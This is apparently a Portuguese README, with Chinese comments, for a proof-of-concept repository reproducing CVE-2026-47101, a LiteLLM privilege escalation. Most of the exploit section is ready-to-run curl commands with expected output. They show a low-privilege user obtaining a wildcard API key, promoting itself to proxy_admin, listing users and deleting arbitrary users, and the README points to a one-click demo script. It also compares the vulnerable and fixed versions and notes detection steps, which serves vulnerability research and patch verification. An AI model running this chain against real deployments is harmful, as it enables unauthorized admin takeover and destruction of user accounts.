
O código para reproduzir pessoalmente a vulnerabilidade correspondente
/key/generate + /user/updateO endpoint
/key/generatedo LiteLLM v1.82.6 (versões anteriores à v1.83.14) permite que uminternal_userde baixo privilégio solicite uma chave de API com rota curinga["/*"], e posteriormente, através do endpoint/user/update, eleve seu próprio papel paraproxy_admin, resultando em escalação de privilégio não autorizada.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (ALTA) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorização Incorreta) |
| Afetado | LiteLLM < 1.83.14 (confirmado na v1.82.6) |
| Corrigido em | v1.83.14+ (nova validação de papel para allowed_routes) |
| Publicado | 2026-05-21 |
| Descoberto por | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
Os endpoints /key/generate (para gerar chaves de API) e /user/update (para atualizar atributos de usuário) do LiteLLM apresentam três falhas consecutivas de autorização que podem ser encadeadas por um usuário de baixo privilégio:
/key/generate não valida allowed_routes — qualquer papel (incluindo internal_user) pode solicitar a rota curinga ["/*"]allowed_routes — a chave curinga gerada pode acessar todos os endpoints administrativos/user/update permite auto-modificação do campo user_role — usando a chave curinga, o usuário pode elevar seu próprio papel para proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 获得通配符 API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 角色提升为 proxy_admin
→ GET /user/list (使用通配符 key)
→ 验证管理员访问权限
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
A saída esperada deve conter logs de inicialização bem-sucedida, como Uvicorn running on http://0.0.0.0:4000.
internal_userUsando a chave mestra, crie uma conta internal_user de baixo privilégio:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Saída esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Anote o user_id e a key retornados — serão necessários nas etapas seguintes.
Como internal_user, chame /key/generate solicitando uma chave com rota curinga ["/*"]:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Saída esperada:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Ponto de vulnerabilidade: o
internal_usergerou com sucesso uma chave de API com a rota curinga["/*"]! Essa chave pode acessar todos os endpoints administrativos, incluindo/user/update,/user/list, etc.
proxy_adminUse a chave curinga para chamar /user/update e elevar o papel do usuário para proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Saída esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Ponto de vulnerabilidade:
user_rolefoi alterado deinternal_userparaproxy_admin! O endpoint/user/updatepermite que o usuário modifique seu próprio campouser_rolesem qualquer restrição de permissão.
Verifique a elevação de privilégio através do endpoint /user/list:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Saída esperada:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
O endpoint
/user/listsó permite acesso ao papelproxy_admin. Obter a lista de usuários confirma que a elevação de privilégio está em vigor.
Utilizando o privilégio proxy_admin obtido, é possível excluir qualquer usuário via /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Saída esperada:
1
As etapas acima foram integradas no script demo.sh, que pode ser executado diretamente:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
Inicie a versão corrigida (v1.83.14-stable) para verificar que a vulnerabilidade foi corrigida:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
Crie um internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Tente gerar uma chave com rota curinga (esperado: bloqueio):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Saída esperada (versão corrigida bloqueia a solicitação não autorizada):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Comparação entre as versões vulnerável e corrigida:
POST /key/generateGera uma nova chave de API. O parâmetro allowed_routes é usado para restringir a lista de rotas que a chave pode acessar.
| Campo | Tipo | Obrigatório | Descrição |
|---|---|---|---|
allowed_routes | array | Não | Lista de rotas permitidas, ex. ["/*"] significa todas as rotas |
POST /user/updateAtualiza atributos de usuário, incluindo o campo user_role.
| Campo | Tipo | Obrigatório | Descrição |
|---|---|---|---|
user_id | string | Sim |
Como internal_user, chame /key/generate solicitando uma chave com ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
A resposta contém uma nova chave de API com permissão de rota curinga.
proxy_adminUse a chave curinga para chamar /user/update:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
A causa raiz reside em três verificações de autorização ausentes em locais independentes:
/key/generate — Falta de validação do papel para allowed_routesO endpoint /key/generate aceita o parâmetro allowed_routes e o associa diretamente à chave, sem verificar o papel do solicitante. Até mesmo um internal_user pode solicitar permissões de rota de nível administrativo.
# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# 仅验证了 API key 有效性
# 未检查 user_role 是否允许请求 allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
allowed_routesO middleware, ao verificar a permissão de rota, se a verificação de autorização baseada no papel do usuário falhar, recai para verificar a lista allowed_routes da chave de API. Como ["/*"] corresponde a todas as rotas, todos os endpoints administrativos são liberados.
# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
# 用户角色检查失败后回退到 allowed_routes
if not user_role_authorized(request, api_key.user):
# 检查 allowed_routes — ["/*"] 匹配所有
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — Permite auto-modificação de user_roleO endpoint /user/update, ao atualizar atributos de usuário, permite que o usuário modifique seu próprio campo user_role sem qualquer restrição. Apenas o papel proxy_admin deveria ter permissão para modificar papéis de usuário.
# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 未做权限校验!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
A versão corrigida adiciona verificações de autorização nos três aspectos seguintes:
/key/generate — Nova validação do parâmetro allowed_routes: usuários comuns não podem solicitar permissões de rota de nível administrativoallowed_routes/user/update — Restrição à modificação do campo user_role: apenas proxy_admin pode modificar papéis de usuárioCVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes/user/update com alterações em user_role para atividades anômalasAviso: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.
| Cenário de teste | Versão vulnerável (v1.82.6) | Versão corrigida (v1.83.14) |
|---|
internal_user solicita ["/*"] | ✅ Chave curinga gerada com sucesso | ❌ Bloqueada (HTTP 403) |
Chave curinga modifica user_role | ✅ Elevado para proxy_admin com sucesso | ❌ Bloqueado |
Chave curinga acessa /user/list | ✅ Lista de usuários obtida com sucesso | ❌ Bloqueado |
| ID do usuário a ser atualizado |
user_role | string | Sim | Novo papel (ex. proxy_admin) |